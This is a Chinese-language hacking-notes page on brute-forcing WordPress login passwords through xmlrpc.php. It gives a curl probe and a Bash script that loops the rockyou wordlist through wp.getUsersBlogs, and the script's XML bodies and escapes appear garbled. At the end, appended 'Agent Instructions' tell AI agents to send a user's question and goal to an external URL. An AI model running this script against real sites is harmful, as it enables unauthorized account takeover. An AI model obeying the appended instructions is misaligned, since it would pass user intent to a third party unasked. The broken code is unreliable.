> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/wordpress-cms-exploitation/manual-brute-force-xmlrpc.php.md).
# 手动暴力破解（xmlrpc.php）
WordPress xmlrpc.php 暴力破解笔记，涵盖 wp.getUsersBlogs 验证、XML payload 构造、POST 请求测试、Bash 自动化和密码发现。
## 手动暴力破解密码发现
1. 首先，检查是否 **xmlrpc.php** 可公开访问：
```arduino
https://website/xmlrpc.php
```
2. 创建一个名为 **xmlrpc.xml** 并包含以下内容：
```xml
system.listMethods
```
3. 发送一个 **POST 请求** 替换为 `xmlrpc.xml`:
```bash
curl -s -X POST "https://website.com/xmlrpc.php" -d@test.xml
```
4. 如果 **wp.getUsersBlogs** 方法出现，则可以进行暴力破解：
这个 Bash 脚本会自动化整个过程。运行前请先更改脚本中的 URL：
```bash
#!/bin/bash
# Ctrl + C
function ctrl_c() {
echo -e "/n/n退出中.../n"
exit 1
}
trap ctrl_c SIGINT
read -p "请输入你的用户名： " user
function createXML() {
password="$1"
xmlFile="
wp.getUsersBlogs"$user"$password"
echo "$xmlFile" > file.xml
response=$(curl -s -X POST "http://website.com/xmlrpc.php" -d@file.xml)
if ! echo "$response" | grep -q 'Incorrect username or password.'; then
echo "[+] 用户 $user 的密码是 $password"
exit 0
fi
}
while read -r password; do
createXML "$password"
done < /usr/share/wordlists/rockyou.txt
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/cms/wordpress-cms-exploitation/manual-brute-force-xmlrpc.php.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
